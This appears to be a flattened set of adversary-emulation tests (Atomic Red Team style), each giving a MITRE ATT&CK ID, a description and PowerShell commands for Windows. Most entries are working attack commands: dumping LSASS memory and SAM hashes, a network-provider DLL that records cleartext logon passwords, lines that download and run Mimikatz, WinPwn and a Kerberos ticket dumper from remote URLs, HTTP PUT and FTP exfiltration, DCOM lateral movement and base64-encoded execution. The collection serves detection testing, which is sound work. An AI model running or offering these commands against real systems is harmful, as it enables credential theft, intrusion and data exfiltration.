T1001.002
powershell
elevated
windows
Steganographic Tarball Embedding
Steganography
This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) within an image. The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image file and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball file within the image, utilizing steganography techniques for data obfuscation. This atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected. By embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.
Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte
T1001.002
powershell
elevated
windows
Embedded Script in Image Execution via Extract-Invoke-PSImage
Steganography
This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems. The test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden PowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a separate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed. In the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This is done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file.
cd "PathToAtomicsFolder\ExternalPayloads\"
Import-Module .\Extract-Invoke-PSImage.ps1
$extractedScript=Extract-Invoke-PSImage -Image "#{image_file}" -Out "$HOME\result.ps1"
$scriptContent = Get-Content "$HOME\result.ps1" -Raw
$base64Pattern = "(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])"
$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }
$base64Strings | Set-Content "$HOME\decoded.ps1"
$decodedContent = Get-Content "$HOME\decoded.ps1" -Raw
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))
$textPattern = '^.+'
$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }
$scriptPath = "$HOME\textExtraction.ps1"
$textMatches -join '' | Set-Content -Path $scriptPath
. "$HOME\textExtraction.ps1"
T1003
powershell
elevated
windows
Credential Dumping with NPPSpy
OS Credential Dumping
Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
T1003
powershell
elevated
windows
Dump svchost.exe to gather RDP credentials
OS Credential Dumping
The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/ Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
T1003
powershell
elevated
windows
Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
OS Credential Dumping
AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
T1003
powershell
elevated
windows
Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
OS Credential Dumping
AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
T1003
powershell
windows
Dump Credential Manager using keymgr.dll and rundll32.exe
OS Credential Dumping
This test executes the exported function KRShowKeyMgr located in keymgr.dll using rundll32.exe. It opens a window that allows to export stored Windows credentials from the credential manager to a file (.crd by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.). Reference: https://twitter.com/0gtweet/status/1415671356239216653
rundll32.exe keymgr,KRShowKeyMgr
T1003
powershell
windows
Send NTLM Hash with RPC Test Connection
OS Credential Dumping
RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Ref: https://twitter.com/vysecurity/status/974806438316072960
rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null
T1003.001
powershell
elevated
windows
Dump LSASS.exe Memory using comsvcs.dll
LSASS Memory
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
powershell
elevated
windows
Dump LSASS.exe Memory using Out-Minidump.ps1
LSASS Memory
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp. Author of Out-Minidump: Matthew Graeber (@mattifestation)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
powershell
elevated
windows
Powershell Mimikatz
LSASS Memory
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1003.001
powershell
elevated
windows
Dump LSASS with createdump.exe from .Net v5
LSASS Memory
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
powershell
elevated
windows
Dump LSASS.exe using imported Microsoft DLLs
LSASS Memory
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files. Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
powershell
elevated
windows
Dump LSASS.exe using lolbin rdrleakdiag.exe
LSASS Memory
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.002
powershell
elevated
windows
PowerDump Hashes and Usernames from Registry
Security Account Manager
Executes a hashdump by reading the hashes from the registry.
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
Invoke-PowerDump
T1003.002
powershell
windows
dump volume shadow copy hives with System.IO.File
Security Account Manager
Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
1..#{limit} | % {
try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}" , "$env:TEMP\#{target_hive}vss$_", "true") } catch {}
ls "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}
T1003.002
powershell
windows
WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes
Security Account Manager
Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
samfile -consoleoutput -noninteractive
T1003.003
powershell
elevated
windows
Create Volume Shadow Copy with Powershell
NTDS
This test is intended to be run on a domain Controller. The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')
T1003.003
powershell
elevated
windows
Copy NTDS in low level NTFS acquisition via MFT parsing
NTDS
This test is intended to be run on a domain Controller. UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR #{script_url} -UseBasicParsing)
Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
T1003.003
powershell
elevated
windows
Copy NTDS in low level NTFS acquisition via fsutil
NTDS
This test is intended to be run on a domain Controller. UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR #{script_url} -UseBasicParsing)
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
T1003.004
powershell
elevated
windows
Dump Kerberos Tickets from LSA using dumper.ps1
LSA Secrets
This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type. If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session. Ref: https://github.com/MzHmO/PowershellKerberos/ Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')
T1003.006
powershell
windows
Run DSInternals Get-ADReplAccount
DCSync
The following Atomic will run Get-ADReplAccount from DSInternals. Upon successful execution, domain and credentials will appear in stdout. [Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle. https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/
Get-ADReplAccount -All -Server #{logonserver}
T1005
powershell
windows
Search files of interest and save them to a single zip file (Windows)
Data from Local System
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
T1006
powershell
elevated
windows
Read volume boot sector via DOS device path (PowerShell)
Direct Volume Access
This test uses PowerShell to open a handle on the drive volume via the \\.\ [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume. On success, a hex dump of the first 11 bytes of the volume is displayed. For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))): `` 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 ëR?NTFS ``
$buffer = New-Object byte[] 11
$handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite'
$handle.Read($buffer, 0, $buffer.Length)
$handle.Close()
Format-Hex -InputObject $buffer
T1007
powershell
windows
System Service Discovery - Services Registry Enumeration
System Service Discovery
Enumerates Windows services by reading the Services registry key (HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control Manager APIs or CLI tools such as sc.exe or Get-Service.
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
ForEach-Object {
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
[PSCustomObject]@{
Name = $_.PSChildName
DisplayName = $p.DisplayName
ImagePath = $p.ImagePath
StartType = $p.Start
}
}
T1012
powershell
elevated
windows
Query Registry with Powershell cmdlets
Query Registry
Query Windows Registry with Powershell cmdlets, i.e., Get-Item and Get-ChildItem. The results from above can also be achieved with Get-Item and Get-ChildItem. Unlike using "reg query" which then executes reg.exe, using cmdlets won't generate new processes, which may evade detection systems monitoring process generation.
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\" | findstr Windows
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
Get-Item -Path "HKCU:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnceEx"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-ChildItem -Path "HKLM:system\currentcontrolset\services"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKLM:SYSTEM\CurrentControlSet\Control\SafeBoot"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Active Setup\Installed Components"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"
T1012
powershell
windows
Enumerate COM Objects in Registry with Powershell
Query Registry
This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file. An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. See: https://www.mandiant.com/resources/hunting-com-objects
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt
ForEach($CLSID in Get-Content "$env:temp\clsids.txt")
{try{write-output "$($Position)-$($CLSID)"
write-output "------------"| out-file #{output_file} -append
write-output $($CLSID)| out-file #{output_file} -append
$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append
$position += 1} catch{}}
T1016
powershell
windows
List Open Egress Ports
System Network Configuration Discovery
This is to test for what ports are open outbound. The technique used was taken from the following blog: https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/ Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.
$ports = Get-content "#{port_file}"
$file = "#{output_file}"
$totalopen = 0
$totalports = 0
New-Item $file -Force
foreach ($port in $ports) {
$test = new-object system.Net.Sockets.TcpClient
$wait = $test.beginConnect("allports.exposed", $port, $null, $null)
$wait.asyncwaithandle.waitone(250, $false) | Out-Null
$totalports++ | Out-Null
if ($test.Connected) {
$result = "$port open"
Write-Host -ForegroundColor Green $result
$result | Out-File -Encoding ASCII -append $file
$totalopen++ | Out-Null
}
else {
$result = "$port closed"
Write-Host -ForegroundColor Red $result
$totalclosed++ | Out-Null
$result | Out-File -Encoding ASCII -append $file
}
}
$results = "There were a total of $totalopen open ports out of $totalports ports tested."
$results | Out-File -Encoding ASCII -append $file
Write-Host $results
T1016.001
powershell
windows
Check internet connection using Test-NetConnection in PowerShell (ICMP-Ping)
Internet Connection Discovery
Check internet connection using PowerShell's Test-NetConnection cmdlet and the ICMP/Ping protocol. The default target is 8.8.8.8 (Google Public DNS).
Test-NetConnection -ComputerName #{target}
T1016.001
powershell
windows
Check internet connection using Test-NetConnection in PowerShell (TCP-HTTP)
Internet Connection Discovery
Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound HTTP (Port 80) access. The default target is www.google.com.
Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target}
T1016.001
powershell
windows
Check internet connection using Test-NetConnection in PowerShell (TCP-SMB)
Internet Connection Discovery
Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound SMB (Port 445) access. The default target is 8.8.8.8.
Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}
T1018
powershell
elevated
windows
Remote System Discovery - nslookup
Remote System Discovery
Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig. Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.
$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
T1018
powershell
windows
Enumerate domain computers within Active Directory using DirectorySearcher
Remote System Discovery
This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. Reference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). Upon successful execution, this test will output the names of the computers that reside on the domain to the console window.
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
$Computer = $Computer.Properties.name
if (!$Computer) { Continue }
Write-Host $Computer}
T1018
powershell
windows
Enumerate Active Directory Computers with Get-AdComputer
Remote System Discovery
The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory. Upon successful execution a listing of Computers will output with their paths in AD. Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md
Get-AdComputer -Filter *
T1018
powershell
windows
Enumerate Active Directory Computers with ADSISearcher
Remote System Discovery
The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory. Upon successful execution a listing of computers will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()
T1018
powershell
windows
Get-DomainController with PowerView
Remote System Discovery
Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose
T1018
powershell
windows
Get-WmiObject to Enumerate Domain Controllers
Remote System Discovery
The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers. Upon successful execution a listing of Systems from AD will output with their paths. Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1
try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }
T1018
powershell
windows
Enumerate Remote Hosts with Netscan
Remote System Discovery
This test uses Netscan to identify remote hosts in a specified network range.
cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'
T1020
powershell
windows
IcedID Botnet HTTP PUT
Automated Exfiltration
Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
T1020
powershell
windows
Exfiltration via Encrypted FTP
Automated Exfiltration
Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
T1021.001
powershell
windows
RDP to DomainController
Remote Desktop Protocol
Attempt an RDP session via Remote Desktop Application to a DomainController.
$Server=#{logonserver}
$User = Join-Path #{domain} #{username}
$Password="#{password}"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"
T1021.001
powershell
elevated
windows
Changing RDP Port to Non Standard Port via Powershell
Remote Desktop Protocol
Changing RDP Port to Non Standard Port via Powershell
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
T1021.002
powershell
windows
Map Admin Share PowerShell
SMB/Windows Admin Shares
Map Admin share utilizing PowerShell
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.003
powershell
windows
PowerShell Lateral Movement using MMC20
Distributed Component Object Model
Powershell lateral movement using the mmc20 application com object. Reference: https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ Upon successful execution, cmd will spawn calc.exe on a remote computer.
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
T1021.003
powershell
windows
PowerShell Lateral Movement Using Excel Application Object
Distributed Component Object Model
Powershell lateral movement using the Excel COM objects. Reference: https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 Upon successful execution, cmd will spawn calc.exe on a remote computer.
copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
$com.ActivateMicrosoftApp("5")
T1021.004
powershell
elevated
windows
ESXi - Enable SSH via PowerCLI
SSH
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.006
powershell
elevated
windows
Enable Windows Remote Management
Windows Remote Management
Powershell Enable WinRM Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.
Enable-PSRemoting -Force
T1021.006
powershell
windows
Remote Code Execution with PS Credentials Using Invoke-Command
Windows Remote Management
Simulate lateral movement with PowerShell Remoting on the local host. Upon successful execution, PowerShell will execute whoami using Invoke-Command, targeting the local machine as remote target.
Enable-PSRemoting -Force
Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
T1021.006
powershell
elevated
windows
WinRM Access with Evil-WinRM
Windows Remote Management
An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled
evil-winrm -i #{destination_address} -u #{user_name} -p #{password}
T1027
powershell
windows
Execute base64-encoded PowerShell
Obfuscated Files or Information
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
T1027
powershell
windows
Execute base64-encoded PowerShell from Windows Registry
Obfuscated Files or Information
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute encoded command and read/write from the registry.
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
